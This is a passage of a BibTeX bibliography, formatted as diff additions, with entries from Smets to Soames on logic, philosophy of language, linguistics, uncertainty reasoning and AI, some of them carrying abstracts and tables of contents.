Volume 1: Quantified Representation + of Uncertainty and Impression}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Philippe Smets}, + pages = {1--24}, + address = {Dordrecht}, + topic = {reasoning-about-uncertainty;} + } + +@book{ smets:1998d, + editor = {Philippe Smets}, + title = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + volume = {1}, + address = {Dordrecht}, + contentsnote = {TC: + 1. Philippe Smets, "Probability, Possibility, Belief: Which + and Where", pp. 1--24 + 2. Giovanni Panti, "Multi-Valued Logics", pp. 25--74 + 3. Vil\'em Nov\'ak, "Fuzzy Logic", pp. 75--109 + 4. Colin Howson, "The {B}ayesian Approach", pp. 111--134 + 5. Donald Gillies, "Confirmation Theory", pp. 135--167 + 6. Didier Dubois and Henri Prade, "Possibility Theory: + Qualitative and Quantitative Aspects", pp. 169--226 + 7. Henry E. Kyburg, Jr., "Families of Probabilities", pp. 227--245 + 8. Nils-Eric Sahlin and Wlodek Rabinowicz, "The Evidentiary Value + Model", pp. 247--265 + 9. Philippe Smets, "The Transferrable Belief Model for + Quantified Belief Representation", pp. 267--301 + 10. Salem Benferhat, "Infinitesimal Theories of Uncertainty for Plausible + Reasoning", pp. 303--356 + 11. Anthony W.F. Edwards, "Statistical Inference", pp. 357--366 + 12. Judea Pearl, "Graphical Models for Probabilistic and Causal + Reasoning", pp. 367--389 + 13. Brian Skyrms and Peter Vanderschraaf, "Game Theory", pp. + 391--439 + 14. Gerd Gigerenzer, "Psychological Challenges for Normative + Models", pp. 441--467}, + topic = {reasoning-about-uncertainty;} + } + +@article{ smiley:1960a, + author = {Timothy J. Smiley}, + title = {Sense without Denotation?}, + journal = {Analysis}, + year = {1960}, + volume = {20}, + pages = {124--134}, + topic = {logic-of-sense-and-denotation;} + } + +@article{ smiley:1973a, + author = {Timothy J. Smiley}, + title = {What is a Syllogism?}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {1}, + pages = {136--154}, + topic = {syllogistic;} + } + +@book{ smiley:1998a, + editor = {Timothy Smiley}, + title = {Philosophical Logic}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + ISBN = {0197261825}, + xref = {Review: mares:2001a.}, + topic = {philosophical-logic;philosophy-of-language;} + } + +@incollection{ smirnov_va:1994a, + author = {V.A. Smirnov}, + title = {The World of Modal Operators by Means of + Tense Operators}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {50--69}, + address = {Helsinki}, + topic = {temporal-logic;modal-logic;} + } + +@incollection{ smirnov_yv-veloso:1996a, + author = {Yury V. Smirnov and Manuela M. Veloso}, + title = {Representation Changes in Combinatorial Problems: + Pigeonhole Principle Versus Integer Programming Relaxation}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {124--134}, + address = {San Francisco, California}, + topic = {planning;search;relaxation-methods;} + } + +@article{ smith_b:1984a, + author = {Barry Smith}, + title = {Ten Conditions on a Theory of Speech Acts}, + journal = {Theoretical Linguistics}, + year = {1978}, + volume = {11}, + number = {3}, + pages = {311--330}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ smith_b:1995a, + author = {Barry Smith}, + title = {Frege and {C}homsky: Sense and Psychologism}, + booktitle = {Frege, Sense and Reference One Hundred Years Later}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {John I. Biro and Petr Kotatko}, + pages = {25--46}, + address = {Dordrecht}, + topic = {Frege;foundations-of-semantics;nl-semantics-and-cognition; + philosophy-of-linguistics;} + } + +@incollection{ smith_b-varzi:1999a, + author = {Barry Smith and Achille C. Varzi}, + title = {The Formal Structure of Ecological Contexts}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {339--351}, + address = {Berlin}, + topic = {context;} + } + +@phdthesis{ smith_bc:1982a, + author = {Brian C. Smith}, + title = {Reflection and Semantics in a Procedural Language}, + school = {Department of Electrical Engineering and Computer Science, + Massachusetts Institute of Technology}, + year = {1982}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {self-reference;programming-languages;} + } + +@techreport{ smith_bc:1984a1, + author = {Brian C. Smith}, + title = {Reflection and Semantics in {LISP}}, + institution = {Xerox Palto Alto Research Center}, + number = {P84-00030}, + year = {1984}, + address = {Palo Alto}, + xref = {Republication: smith_bc:1984a2.}, + topic = {self-reference;programming-languages;} + } + +@techreport{ smith_bc:1984a2, + author = {Brian C. Smith}, + title = {Reflection and Semantics in {LISP}}, + institution = {Center for the Study of Language and Information}, + number = {CSLI-84-8}, + year = {1984}, + address = {Palo Alto}, + xref = {Republication of: smith_bc:1984a1.}, + topic = {self-reference;programming-languages;} + } + +@techreport{ smith_bc-desrivieres:1984a, + author = {Brian C. Smith and Jim des Rivieres}, + title = {Interim 3-{LISP} Reference Manual}, + institution = {Xerox Palto Alto Research Center}, + number = {P8400004}, + year = {1984}, + address = {Palo Alto}, + topic = {self-reference;programming-languages;} + } + +@unpublished{ smith_bc:1985a, + author = {Brian C. Smith}, + title = {Is Computation Formal?}, + year = {1985}, + note = {Unpublished manuscript, Xerox Palto Alto Research Center}, + topic = {philosophy-of-computation;} + } + +@unpublished{ smith_bc:1985b, + author = {Brian C. Smith}, + title = {The Limits of Correctness}, + year = {1985}, + note = {Unpublished manuscript, Xerox Palto Alto Research Center}, + topic = {program-verification;} + } + +@inproceedings{ smith_bc:1986a, + author = {Brian C. Smith}, + title = {Varieties of Self-Reference}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the First Conference}, + year = {1986}, + editor = {Joseph Y. Halpern}, + pages = {19--43}, + publisher = {Morgan Kaufmann Publishers, Inc.}, + address = {Los Altos, California}, + topic = {foundations-of-AI;self-reference;} + } + +@article{ smith_bc:1987a, + author = {Brian C. Smith}, + title = {Two Lessons of Logic}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {214--218}, + xref = {kr;foundations-of-kr;logic-in-AI;} + } + +@article{ smith_bc:1991a, + author = {Brian C. Smith}, + title = {The Owl and the Electric Encyclopedia}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {47}, + number = {1--3}, + pages = {251--258}, + contentnote = {An attempt to criticize superficial programs for AI.}, + topic = {foundations-of-AI;kr;krcourse;} + } + +@article{ smith_bc:1992a, + author = {Barry C. Smith}, + title = {Understanding Language}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1992}, + volume = {92}, + note = {Supplementary Series.}, + pages = {109--141}, + topic = {philosophy-of-language;philosophy-of-linguistics;} + } + +@book{ smith_bc:1996a, + author = {Brian Cantwell Smith}, + title = {On the Origin of Objects}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + xref = {Review: loui:1998a.}, + topic = {foundations-of-computation;} + } + +@incollection{ smith_bm:1988a, + author = {Barbara M. Smith}, + title = {Forward Checking, the {ATMS} and Search + Reduction}, + booktitle = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + year = {1988}, + editor = {Barbara Smith and Gerald Kelleher}, + pages = {155--168}, + address = {Chichester}, + topic = {truth-maintenance;search;} + } + +@book{ smith_bm-kelleher:1988a, + editor = {Barbara M. Smith and Gerald Kelleher}, + title = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + year = {1988}, + address = {Chichester}, + contentnote = {TC: + 1. Gerald Kelleher and Barbara M. Smith, "A Brief Introduction + to Reason Maintenance Systems" + 2. Murray Shanahan, "Incrementality and Logic Programming" + 3. Han Reichgelt, "The Place of Defaults in a Reasoning + System" + 4. Michael Hopkins and Michael Clarke, "Nonmonotonic and + Counterfactual Reasoning: Some Experiments with + a Practical System" + 5. Nikos Drakos, "Reason Maintenance in Horn-Clause + Logic Programs" + 6. Gregory M. Provan, "A Complexity Analysis of + Assumption-Based Truth Maintenance Systems" + 7. Rob Bodington and Peter Elleby, "Justification and + Assumption-Based Truth Maintenance Systems: When and + How to Use Them for Constraint Satisfaction" + 8. John Jones and Mark Millington, "Modeling {U}nix Users + with an Assumption-Based Truth Maintenance System: + Some Preliminary Results" + 9. Barbara M. Smith, "Forward Checking, the {ATMS} and Search + Reduction" + } , + topic = {truth-maintenance;} + } + +@article{ smith_bm-dyer:1996a, + author = {Barbara M. Smith and Martin E. Dyer}, + title = {Locating the Phase Transition in Binary Constraint + Satisfaction}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {155--181}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@unpublished{ smith_c:1987a, + author = {Carlotta Smith}, + title = {A Valediction for Sentence Topic}, + year = {1987}, + note = {Unpublished manuscript, Linguistics Department, University + of Texas at Austin}, + topic = {s-topic;} + } + +@article{ smith_cl:1986a, + author = {Carolena L. Smith}, + title = {Attitudinal Study of Graphic Computer-Based + Instruction for Punctuation}, + journal = {Journal of Technical Writing and Communication}, + year = {1986}, + volume = {3}, + pages = {267--272}, + topic = {punctuation;} + } + +@article{ smith_cs:1977a, + author = {Carlota S. Smith}, + title = {The Syntax and Interpretation of Temporal Expressions in + {E}nglish}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {2}, + number = {1}, + pages = {43--99}, + topic = {tense-aspect;} + } + +@book{ smith_cs:1982a, + author = {Carlota S. Smith}, + title = {A Theory of Auxiliary {\em have} in {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {perfective-aspect;} + } + +@article{ smith_cs-wall:1983a, + author = {Carlota S. Smith and Robert Wall}, + title = {Introduction}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {3}, + note = {Introduction to a special issue on varieties of logical + form.}, + pages = {291--294}, + topic = {logical-form;foundations-of-semantics;} + } + +@article{ smith_cs:1986a, + author = {Carlota S. Smith}, + title = {A Speaker-Based Approach to Aspect}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {1}, + pages = {97--115}, + topic = {tense-aspect;} + } + +@book{ smith_cs:1991a, + author = {Carlotta S. Smith}, + title = {The Parameter of Aspect}, + publisher = {D. Reidel Publishing Co.}, + year = {1991}, + address = {Dordrecht}, + ISBN = {0792311361}, + topic = {tense-aspect;} + } + +@article{ smith_cs:1999a, + author = {Carlotta S. Smith}, + title = {Activities: States or Events?}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {5}, + pages = {479--508}, + topic = {Actionsarten;eventualities;} + } + +@article{ smith_de-genesereth:1985a, + author = {David E. Smith and Michael R. Genesereth}, + title = {Ordering Conjunctive Queries}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {26}, + number = {2}, + pages = {171--215}, + acontentnote = {Abstract: + Conjunctive problems are pervasive in artificial intelligence + and database applications. In general, such problems cannot be + solved without carefully ordering the set of conjuncts for the + problem-solving system. In this paper, the problem of + determining the best ordering for a set of conjuncts is + addressed. We first show how simple information about set sizes + can be used to estimate the cost of solving a conjunctive + problem. Assuming the availability of this information, methods + for ordering conjuncts are developed, based on several theorems + and corollaries about ordering. We also consider two well-known + heuristic ordering rules and discuss their advantages and + disadvantages. Finally, the overall efficiency of including + conjunct ordering in a problem solver is considered. To help + reduce the overhead we present an approach of monitoring + problem-solving cost at run-time. In this way conjunct ordering + is limited to difficult problems where the cost of ordering is + less significant. We also consider several issues involved in + extending conjunct ordering to problems involving inference and + planning problems. } , + topic = {theorem-proving;problem-solving;} + } + +@article{ smith_de-etal:1986a, + author = {David E. Smith and Michael R. Genesereth and Matthew L. + Ginsberg}, + title = {Controlling Recursive Inference}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {30}, + number = {3}, + pages = {343--389}, + acontentnote = {Abstract: + Loosely speaking, recursive inference occurs when an inference + procedure generates an infinite sequence of similar subgoals. In + general, the control of recursive inference involves + demonstrating that recursive portions of a search space will not + contribute any new answers to the problem beyond a certain + level. We first review a well-known syntactic method for + controlling repeating inference (inference where the conjuncts + processed are instances of their ancestors), provide a proof + that it is correct, and discuss the conditions under which the + strategy is optimal. We also derive more powerful pruning + theorems for cases involving transitivity axioms and cases + involving subsumed subgoals. The treatment of repeating + inference is followed by consideration of the more difficult + problem of recursive inference that does not repeat. Here we + show how knowledge of the properties of the relations involved + and knowledge about the contents of the system's database can be + used to prove that portions of a search space will not + contribute any new answers. } , + topic = {search;declarative-search-control;} + } + +@article{ smith_de:1989a, + author = {David E. Smith}, + title = {Controlling Backward Inference}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {39}, + number = {2}, + pages = {145--208}, + acontentnote = {Abstract: + Effective control of inference is a critical problem in + artificial intelligence. Expert systems make use of powerful + domain-dependent control information to beat the combinatorics + of inference. However, it is not always feasible or convenient + to provide all of the domain-dependent control that may be + needed, especially for systems that must handle a wide variety + of inference problems, or must function in a changing + environment. In this paper, a domain-independent means of + controlling inference is developed. The basic approach is to + compute expected cost and probability of success for different + backward inference strategies. This information is used to + select between inference steps, and to compute the best order + for processing conjunctions. The necessary expected cost and + probability calculations rely on simple information about the + contents of the problem solver's database, such as the number of + facts of a given form, and the domain sizes for the predicates + and relations involved. } , + topic = {search;declarative-search-control;} + } + +@article{ smith_dr:1985a, + author = {Douglas R. Smith}, + title = {Top-Down Synthesis of Divide-and-Conquer Algorithms}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {1}, + pages = {43--96}, + acontentnote = {Abstract: + A top-down method is presented for the derivation of algorithms + from a formal specification of a problem. This method has been + implemented in a system called CYPRESS. The synthesis process + involves the top-down decomposition of the initial specification + into a hierarchy of specifications for subproblems. Synthesizing + programs for each of these subproblems results in the + composition of a hierarchically structured program. The initial + specification is allowed to be partial in that some or all of + the input conditions may be missing. CYPRESS completes the + specification and produces a totally correct applicative + program. Much of CYPRESS' knowledge comes in the form of + `design strategies' for various classes of algorithms. The + structure of a class of divide-and-conquer algorithms is + explored and provides the basis for several design strategies. + Detailed derivations of mergesort and quicksort algorithms are + presented. } , + topic = {automatic-programming;} + } + +@unpublished{ smith_dw:1979a, + author = {David Woodruff Smith}, + title = {The Case of the Exploding Perception}, + year = {1979}, + note = {Unpublished manuscript, University of California + at Irvine}, + topic = {logic-of-perception;} + } + +@incollection{ smith_ee:1989a, + author = {Edward E. Smith}, + title = {Concepts and Induction}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {13}, + pages = {501--526}, + address = {Cambridge, Massachusetts}, + topic = {common-sense;induction;cognitive-psychology;} + } + +@book{ smith_gw:1991a, + author = {George W. Smith}, + title = {Computers and Human Language}, + publisher = {Oxford University Press}, + year = {1991}, + address = {Oxford}, + topic = {nlp-intro;nlp-survey;} + } + +@inproceedings{ smith_ia-cohen_pr:1996a, + author = {Ira A. Smith and Philip R. Cohen}, + title = {Toward a Semantics for an Agent Communication Language + Based on Speech Acts}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {24--31}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {speech-acts;discourse;communication-protocols;pragmatics;} + } + +@book{ smith_jb:1994a, + author = {John B. Smith}, + title = {Collective Intelligence in Computer-Based Collaboration}, + publisher = {Lawrence Erlbaum Associates}, + year = {1994}, + address = {Mahwah, New Jersey}, + ISBN = {0805813195}, + topic = {HCI;collaboration;} + } + +@article{ smith_jm:2000a, + author = {John Maynard Smith}, + title = {The Concept of Information in Biology}, + journal = {Philosophy of Science}, + year = {2000}, + volume = {67}, + number = {2}, + pages = {177--194}, + topic = {philosophy-of-biology;foundations-of-genetics; + evolution;information;} + } + +@article{ smith_jq-papamichail:1999a, + author = {J.Q. Smith and K.N. Papamichail}, + title = {Fast {B}ayes and the Dynamic Junction Forest}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {1}, + pages = {99--124}, + missinginfo = {A's 1st names}, + topic = {influence-diagrams;probabilistic-reasoning;Bayesian-networks;} + } + +@incollection{ smith_n:1997a, + author = {Nicholas Smith}, + title = {Improving a Tagger}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {137--150}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;corpus-tagging;} + } + +@book{ smith_nv:1982a, + editor = {N.V. Smith}, + title = {Mutual Knowledge}, + publisher = {Academic Press}, + year = {1982}, + address = {London}, + missinginfo = {A's 1st name}, + contentnote = {TC: + 1. H.H. Clark and T.B. Carlson, "Speech Acts and + Hearer's Beliefs" + 2. Dan Sperber and D. Wilson, "Mutual Knowledge and + Relevance in Theories of Comprehension" + 3. M. Brody, "On Circular Readings" + 4. A. Joshi, "Mutual Beliefs in Question-Answer Systems" + 5. H.P. Grice, "Meaning Revisited" + }, + topic = {discourse;coordination-in-conversation;pragmatics;} + } + +@book{ smith_p:1998a, + author = {Peter Smith}, + title = {Explaining Chaos}, + publisher = {Cambridge University Press}, + year = {1998}, + address = {Cambridge, England}, + xref = {Review: sklar:2001a.}, + topic = {chaos-theory;philosophy-of-physics;} + } + +@book{ smith_pd:1990a, + author = {Peter D. Smith}, + title = {An Introduction to Text Processing}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge Massachusetts}, + ISBN = {0-262-19299-3}, + topic = {nl-processing;nlp-intro;} + } + +@article{ smith_rg-farquhar:2000a, + author = {Reid G. Smith and Adam Farquhar}, + title = {The Road Ahead for Knowledge Management: An {AI} + Perspective}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {4}, + pages = {17--40}, + topic = {knowledge-management;} + } + +@book{ smith_rw-hipp:1994a, + author = {Ronnie W. Smith and D. Richard Hipp}, + title = {Spoken Natural Language Dialog Systems: A Practical Approach}, + publisher = {Oxford University Press}, + year = {1994}, + address = {Oxford}, + ISBN = {ISBN 0-19-509187-6}, + topic = {discourse;pragmatics;} + } + +@incollection{ smith_rw:1997a, + author = {Ronnie W. Smith}, + title = {Performance Measures for the Next + Generation of Spoken Natural Language Dialog Systems}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {37--40}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;nlp-evaluation;nl-generation';} + } + +@article{ smith_rw-gordon:1997a, + author = {Ronnie W. Smith and Steven A. Gordon}, + title = {Effects of Variable Initiative on Linguistic Behavior + in Human-Computer Spoken Natural Language Dialogue}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {1}, + pages = {141--168}, + topic = {discourse-initiative;corpus-linguistics;pragmatics;} + } + +@article{ smith_sjj-etal:1998a, + author = {Stephen J.J. Smith and Dana Nau and Tom Throop}, + title = {Computer Bridge: A Big Win for {AI} Planning}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {19}, + number = {2}, + pages = {93--106}, + topic = {hierarchical-planning;game-playing;} + } + +@book{ smith_sm-etal:1995a, + editor = {Steven M. Smith and Thomas B. Ward and Ronald A. Finke}, + title = {The Creative Cognition Approach}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + ISBN = {026219354X}, + topic = {creativity;cognitive-psychology;} + } + +@incollection{ smith_tc:1998a, + author = {Tony C. Smith}, + title = {Learning Feature-Value Grammars from Plain Text}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {291--294}, + address = {Somerset, New Jersey}, + topic = {grammar-learning;} + } + +@article{ smolensky:1987a, + author = {Paul Smolensky}, + title = {The constituent Structure of Connectionist Mental States: + A Reply to {F}odor and {P}ylyshyn}, + journal = {Southern Journal of Philosophy}, + year = {1987}, + volume = {26}, + pages = {137--159}, + missinginfo = {number}, + topic = {connectionism;foundations-of-AI; + foundations-of-cognitive-science;} + } + +@article{ smolensky:1988a, + author = {Paul Smolensky}, + title = {On the Proper Treatment of Connectionism}, + journal = {Behavior and Brain Sciences}, + year = {1988}, + volume = {11}, + pages = {1--23}, + missinginfo = {number}, + topic = {connectionism;foundations-of-AI;sub-symbolic-representations; + foundations-of-cognitive-science;} + } + +@article{ smolensky:1990a, + author = {Paul Smolensky}, + title = {Tensor Product Variable Binding and the Representation of + Symbolic Structures in Connectionist Systems}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {1--2}, + pages = {159--216}, + topic = {connectionist-plus-symbolic-architectures;} + } + +@article{ smoliar:1987a, + author = {Stephen W. Smoliar}, + title = {Review of {\it Conceptual Structures: Information + Processing in Mind and Machine}, by {J}ohn {F}. {S}owa}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {3}, + pages = {259--266}, + xref = {Review of sowa:1984a.}, + topic = {kr;cognitive-semantics;visual-reasoning;} + } + +@article{ smoliar:1988a, + author = {Stephen W. Smoliar}, + title = {Review of {\it The Robot's Dilemma: The Frame Problem in + Artificial Intelligence}, edited by {Z}enon {W}. {P}ylyshyn}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {1}, + pages = {131--137}, + xref = {Review of pylyshyn:1996a.}, + topic = {frame-problem;philosophy-AI;} + } + +@article{ smoliar:1989a, + author = {Stephen W. Smoliar}, + title = {Review of {\it Logical Foundations of Artificial + Intelligence}, by {M}ichael {R}. {G}enesereth and {N}ils {J}. + {N}ilsson}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {1}, + pages = {119--124}, + xref = {Review of: genesereth-nilsson_nj:1987a.}, + topic = {kr;AI-intro;AI-and-logic;kr-course;} + } + +@article{ smoliar:1991a, + author = {Stephen W. Smoliar}, + title = {Review of {\it How to Build a Person: A Prolegomenon}, by + John L. Pollock}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {48}, + number = {2}, + pages = {253--256}, + xref = {Review of pollock_jl:1989a.}, + topic = {foundations-of-AI;foundations-of-cognitive-science; + philosophy-AI;} + } + +@article{ smoliar:1995a, + author = {Stephen W. Smoliar}, + title = {Review of {\it Artificial Life}, edited by {C}hristopher {G}. + {L}angton, {C}harles {T}aylor, {J}. {D}oyne {F}armer and + {S}teen {R}asmussen and of {\it Artificial Life {II}}, edited + by {C}hristopher {G}. {L}angton}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {73}, + number = {1--2}, + pages = {371--377}, + topic = {artificial-life;} + } + +@article{ smoliar:1996a, + author = {Stephen W. Smoliar}, + title = {Review of {\it Music, Mind and Machine: Studies in + Computer Music, Music Cognition and Artificial Intelligence}, + by {P}eter {D}esain and {H}enkjan {H}oning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {79}, + number = {2}, + pages = {361--371}, + xref = {Review of desain-honing:1992a.}, + topic = {AI-and-music;} + } + +@techreport{ smorynski:1975a, + author = {Craig Smorynski}, + title = {Consistency and Related Metamathematical Properties}, + institution = {Department of Mathematics, University of Amsterdam}, + number = {75--02}, + year = {1975}, + address = {Amsterdam}, + topic = {consistency-proofs;goedels-second-theorem;} + } + +@incollection{ smorynski:1975b, + author = {Craig Smorynski}, + title = {The Incompleteness Theorems}, + booktitle = {Handbook of Mathematical Logic}, + publisher = {North-Holland}, + year = {1977}, + editor = {K. Jon Barwise}, + pages = {821--865}, + address = {Amsterdam}, + topic = {goedels-first-theorem;goedels-second-theorem;} + } + +@article{ smorynski:1981a, + author = {Craig Smorynski}, + title = {Fifty Years of Self-Reference}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1981}, + volume = {22}, + number = {4}, + pages = {357--374}, + topic = {self-reference;} + } + +@incollection{ smorynski:1984a, + author = {Craig Smorynski}, + title = {Modal Logic and Self-Reference}, + booktitle = {Handbook of Philosophical Logic, Volume {II}: + Extensions of Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {441--495}, + address = {Dordrecht}, + topic = {goedels-second-theorem;semantic-reflection;provability-logic;} + } + +@book{ smorynski:1985a, + author = {Craig Smorynski}, + title = {Self-Reference and Modal Logic}, + publisher = {Springer-Verlag}, + year = {1985}, + address = {Berlin}, + topic = {semantic-reflection;provability-logic;} + } + +@techreport{ smorynski:1988a, + author = {Craig Smorynski}, + title = {Hilbert's Programme}, + institution = {Department of Mathematics, + University of Utrecht}, + number = {522}, + year = {1988}, + address = {Utrecht}, + topic = {Hilbert's-program;goedels-first-theorem; + goedels-second-theorem;} + } + +@article{ smorynski:1991a, + author = {Craig Smorynski}, + title = {Review of {\em Intensional Mathematics}, by + {S}tewart {S}hapiro}, + journal = {Journal of Symbolic Logic}, + year = {1991}, + volume = {56}, + pages = {1496--1499}, + missinginfo = {number}, + xref = {Review of: shapiro_s1:1985a.}, + topic = {epistemic-arithmetic;} + } + +@article{ smullyan_a:1977a, + author = {Arthur Smullyan}, + title = {Absolute and Restricted Concepts}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {1}, + pages = {83--91}, + topic = {property-theory;} + } + +@article{ smyth-cotter:2001a, + author = {Barry Smyth and Paul Cotter}, + title = {Personalized Electronic Program Guides for Digital {TV}}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {22}, + number = {2}, + pages = {89--}, + topic = {user-modeling;preference-elicitation;} + } + +@article{ smyth_b-keane:1998a, + author = {Barry Smyth and Mark T. Keane}, + title = {Adaption-Guided Retrieval: Questioning the + Similarity Assumption in Reasoning}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {2}, + pages = {249--293}, + topic = {case-based-reasoning;foundations-of-induction;} + } + +@incollection{ snow:1991a, + author = {Paul Snow}, + title = {Restraining the Proliferation of Worlds in Probabilistic + Logic Entailments}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {318--322}, + address = {Berlin}, + topic = {probabilistic-reasoning;} + } + +@article{ snow:1998a, + author = {Paul Snow}, + title = {The Vulnerability of the Transferanle Belief Model to + {D}utch Books}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {105}, + number = {1--2}, + pages = {345--354}, + topic = {Dempster-Shafer-theory;Dutch-book-argument;} + } + +@article{ snow:1999a, + author = {Paul Snow}, + title = {Diverse Confidence Levels in a Probabilistic + Semantics for Conditional Logics}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {269--279}, + topic = {conditionals;probability-semantics;} + } + +@article{ soames:1974a, + author = {Scott Soames}, + title = {Rule Orderings, Obligatory transformations, and + Derivational Constraints}, + journal = {Theoretical Linguistics}, + year = {1974}, + volume = {1}, + number = {1/2}, + pages = {116--138}, + topic = {nl-syntax;rule-ordering;} + } + +@unpublished{ soames:1974b, + author = {Scott Soames}, + title = {On the Nature of Grammars and Linguistic Theories}, + year = {1974}, + note = {Unpublished manuscript, Philosophy Department, MIT.}, + topic = {philosophy-of-linguistics;} + } + +@article{ soames:1979a, + author = {Scott Soames}, + title = {A Projection Problem for Speaker Presuppositions}, + journal = {Linguistic Inquiry}, + year = {1979}, + volume = {10}, + pages = {623--666}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + } + +@article{ soames:1982a, + author = {Scott Soames}, + title = {How Presuppositions Are Inherited: A Solution to the + Projection Problem}, + journal = {Linguistic Inquiry}, + year = {1982}, + volume = {13}, + pages = {483--545}, + missinginfo = {number}, + topic = {presupposition;pragmatics;} + } + +@article{ soames:1984a, + author = {Scott Soames}, + title = {Linguistics and Psychology}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {2}, + pages = {155--179}, + topic = {philosophy-of-linguistics;} + } + +@article{ soames:1984b, + author = {Scott Soames}, + title = {What Is a Theory of Truth?}, + journal = {Journbal of Philosophy}, + year = {1984}, + volume = {81}, + pages = {411--429}, + missinginfo = {number}, + topic = {truth;} + } + +@incollection{ soames:1984c, + author = {Scott Soames}, + title = {Semantics and Psychology}, + booktitle = {The Philosophy of Linguistics}, + publisher = {Oxford University Press}, + year = {1984}, + editor = {Jerrold J. Katz}, + pages = {204--226}, + address = {Oxford}, + topic = {psychological-reality;philosophy-of-linguistics; + foundations-of-semantics;} + } + +@article{ soames:1985a, + author = {Scott Soames}, + title = {Lost Innocence}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {1}, + pages = {59--71}, + contentnote = {Critique of situation semantic representation of + propositions.}, + topic = {foundations-of-semantics;propositional-attitudes;} + } + +@article{ soames:1987a1, + author = {Scott Soames}, + title = {Direct Reference, Propositional Attitudes, and Semantic + Content}, + journal = {Philosophical Topics}, + year = {1987}, + volume = {15}, + number = {1}, 